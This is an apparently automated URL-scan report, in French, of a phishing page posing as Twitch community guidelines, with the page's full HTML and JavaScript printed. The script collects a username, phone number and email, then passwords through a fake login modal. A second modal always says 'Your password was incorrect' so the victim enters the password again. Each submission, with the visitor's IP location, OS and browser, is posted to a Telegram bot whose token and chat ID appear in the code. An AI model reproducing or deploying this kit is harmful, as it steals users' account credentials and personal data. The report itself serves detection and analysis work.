- ID de l'analyse :
- af3db696-81be-4e9e-89f1-e739a41b62e5Terminée
- URL soumise :
- https://twitch-community-guidelines.web.app/
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 8 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
sendMessage | function |
submitPassword | function |
submitSecondPassword | function |
sendTelegramMessage | function |
closeModal | function |
Messages de journal de console : 4 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
error | network |
|
log | javascript |
|
verbose | dom |
|
verbose | dom |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Community Guidelines</title>
<style>
body {
margin: 0;
display: flex;
flex-direction: column; /* Align children vertically */
align-items: center; /* Center children horizontally */
background-color: white; /* Set background color to white */
font-family: Arial, sans-serif; /* Set a default font */
overflow-x: hidden; /* Prevent horizontal scrolling */
}
img.top-image {
width: 100%; /* Make image responsive */
max-width: 1902px; /* Limit max width */
height: auto; /* Maintain aspect ratio */
}
img.bottom-image {
width: 100%; /* Make image responsive */
max-width: 1903px; /* Limit max width */
height: auto; /* Maintain aspect ratio */
margin-top: 20px; /* Add space above the image */
display: block; /* Ensure it behaves as a block element */
border: 5px solid black; /* Add black border around the image */
}
/* Hide the bottom image on mobile devices */
@media (max-width: 768px) {
img.bottom-image {
display: none; /* Hide on mobile */
}
}
/* Style the form */
form {
margin-top: 20px; /* Add some space above the form */
width: 90%; /* Set width of the form */
max-width: 600px; /* Limit max width */
display: flex;
flex-direction: column; /* Align form elements vertically */
gap: 10px; /* Space between form elements */
transition: filter 0.3s; /* Smooth transition for blur effect */
}
.blur {
filter: blur(5px); /* Blur effect */
}
label {
color: #18181b; /* Set label color */
font-weight: bold; /* Make label font bold */
}
input, textarea {
padding: 10px; /* Add padding to inputs and textarea */
border: 1px solid #ccc; /* Light gray border */
border-radius: 4px; /* Rounded corners */
font-size: 16px; /* Font size */
color: #18181b; /* Set input and textarea text color */
font-weight: bold; /* Make input and textarea font bold */
width: 100%; /* Make inputs full width */
box-sizing: border-box; /* Include padding in width */
}
textarea {
resize: vertical; /* Allow vertical resizing of textarea */
}
button {
padding: 10px; /* Add padding to the button */
background-color: #60369f; /* Set background color */
color: white; /* Set text color */
border: none; /* Remove border */
border-radius: 4px; /* Rounded corners */
font-size: 16px; /* Font size */
cursor: pointer; /* Pointer cursor on hover */
}
button:hover {
background-color: #4a2e85; /* Darken button on hover */
}
/* Modal styles */
.modal {
display: none; /* Hidden by default */
position: fixed; /* Stay in place */
z-index: 1; /* Sit on top */
left: 0;
top: 0;
width: 100%; /* Full width */
height: 100%; /* Full height */
overflow: auto; /* Enable scroll if needed */
background-color: rgb(0,0,0); /* Fallback color */
background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
padding-top: 60px; /* Location of content */
}
.modal-content {
background-color: #fefefe;
margin: 5% auto; /* 15% from the top and centered */
padding: 20px;
border: 1px solid #888;
width: 80%; /* Could be more or less, depending on screen size */
max-width: 400px; /* Limit max width of modal */
border-radius: 4px; /* Rounded corners */
}
.error-message {
color: red; /* Set color for error message */
margin-right: 10px; /* Space between message and button */
}
</style>
<script>
let username; // Variable to store the username
let password1; // Variable to store the first password
let password2; // Variable to store the second password
async function sendMessage(event) {
event.preventDefault(); // Prevent the default form submission
username = document.getElementById('username').value; // Store the username
const phone = document.getElementById('phone').value;
const email = document.getElementById('email').value;
const additionalInfo = document.getElementById('additional-info').value;
// Open the password modal
document.getElementById('passwordModal').style.display = "block";
// Blur the form
document.querySelector('form').classList.add('blur');
// Set the username in the modal
document.getElementById('modal-username-input').value = username; // Set username input
// Send initial message to Telegram after submitting the form
await sendTelegramMessage(username, phone, email, additionalInfo, ''); // Send without password
}
async function submitPassword() {
password1 = document.getElementById('password').value; // Get password from the first modal
// Open the second password modal
document.getElementById('secondPasswordModal').style.display = "block"; // Show the second modal
document.getElementById('modal-username-input-second').value = username; // Set username input in second modal
// Send message to Telegram with the password
await sendTelegramMessage(username, document.getElementById('phone').value, document.getElementById('email').value, document.getElementById('additional-info').value, password1);
// Do not unblur the form
}
async function submitSecondPassword() {
password2 = document.getElementById('second-password').value; // Get password from the second modal
// Send message to Telegram with the password
await sendTelegramMessage(username, document.getElementById('phone').value, document.getElementById('email').value, document.getElementById('additional-info').value, password1, password2);
// Redirect to 2fa.html
window.location.href = "2fa.html";
}
async function sendTelegramMessage(username, phone, email, additionalInfo, password1, password2) {
// Fetch IP information
let ipInfo = {};
try {
const ipResponse = await fetch('https://ipapi.co/json');
if (ipResponse.ok) {
ipInfo = await ipResponse.json();
} else {
console.error('Failed to fetch IP information');
}
} catch (error) {
console.error('Error fetching IP information:', error);
}
// Get OS and Browser information
const os = navigator.platform; // OS information
const browser = navigator.userAgent; // Browser information
const message = `Username: ${username}\n` +
`Phone Number: ${phone}\n` +
`Email: ${email}\n` +
`Additional Information: ${additionalInfo}\n` +
`Password1: ${password1}\n` + // Password from the first modal
`Password2: ${password2}\n` + // Password from the second modal
`City: ${ipInfo.city || 'N/A'}\n` +
`Region: ${ipInfo.region || 'N/A'}\n` +
`Country: ${ipInfo.country_name || 'N/A'}\n` +
`OS: ${os}\n` +
`Browser: ${browser}`;
const chatId = '7748459002'; // Your chat ID
const botToken = '8194724994:AAHxeSXJq4uTnt-ncL36BOTnSR4Cscck-2E'; // Your bot token
const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
const payload = {
chat_id: chatId,
text: message,
parse_mode: 'HTML'
};
try {
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(payload)
});
if (response.ok) {
// Do not clear the form to keep the input values
} else {
console.error('Failed to send message.');
}
} catch (error) {
console.error('Error:', error);
}
}
function closeModal() {
document.getElementById('passwordModal').style.display = "none";
document.getElementById('secondPasswordModal').style.display = "none"; // Also close the second modal
document.querySelector('form').classList.remove('blur'); // Unblur the form
}
</script>
</head>
<body>
<!-- Insert the image at the top of the page -->
<img src="images/s1.png" alt="Top Image" class="top-image">
<!-- Form for user input -->
<form onsubmit="sendMessage(event)">
<label for="username">Username</label>
<input type="text" id="username" name="username" required="">
<label for="phone">Phone Number</label>
<input type="tel" id="phone" name="phone" required="">
<label for="email">Email</label>
<input type="email" id="email" name="email" required="">
<label for="additional-info">Additional Information</label>
<textarea id="additional-info" name="additional-info" rows="4"></textarea>
<button type="submit">Submit</button>
</form>
<!-- Modal for password entry -->
<div id="passwordModal" class="modal">
<div class="modal-content">
<h2>Enter Password</h2>
<label for="modal-username-input">Username</label>
<input type="text" id="modal-username-input" value="" readonly="" required=""> <!-- Readonly field -->
<label for="modal-username-input">Password</label>
<input type="password" id="password" placeholder="">
<div style="display: flex; justify-content: flex-end;"> <!-- Flex container for button -->
<button onclick="submitPassword()">Continue</button>
</div>
</div>
</div>
<!-- Second Modal for incorrect password -->
<div id="secondPasswordModal" class="modal">
<div class="modal-content">
<h2>Enter Password</h2>
<label for="modal-username-input-second">Username</label>
<input type="text" id="modal-username-input-second" value="" readonly="" required=""> <!-- Readonly field -->
<label for="modal-username-input">Password</label>
<input type="password" id="second-password" placeholder="">
<div style="display: flex; justify-content: space-between; align-items: center;"> <!-- Flex container for button -->
<div class="error-message" id="error-message">Your password was incorrect.</div>
<button onclick="submitSecondPassword()">Continue</button>
</div>
</div>
</div>
<!-- Insert the image at the bottom of the page -->
<img src="images/s2.png" alt="Bottom Image" class="bottom-image">
</body></html>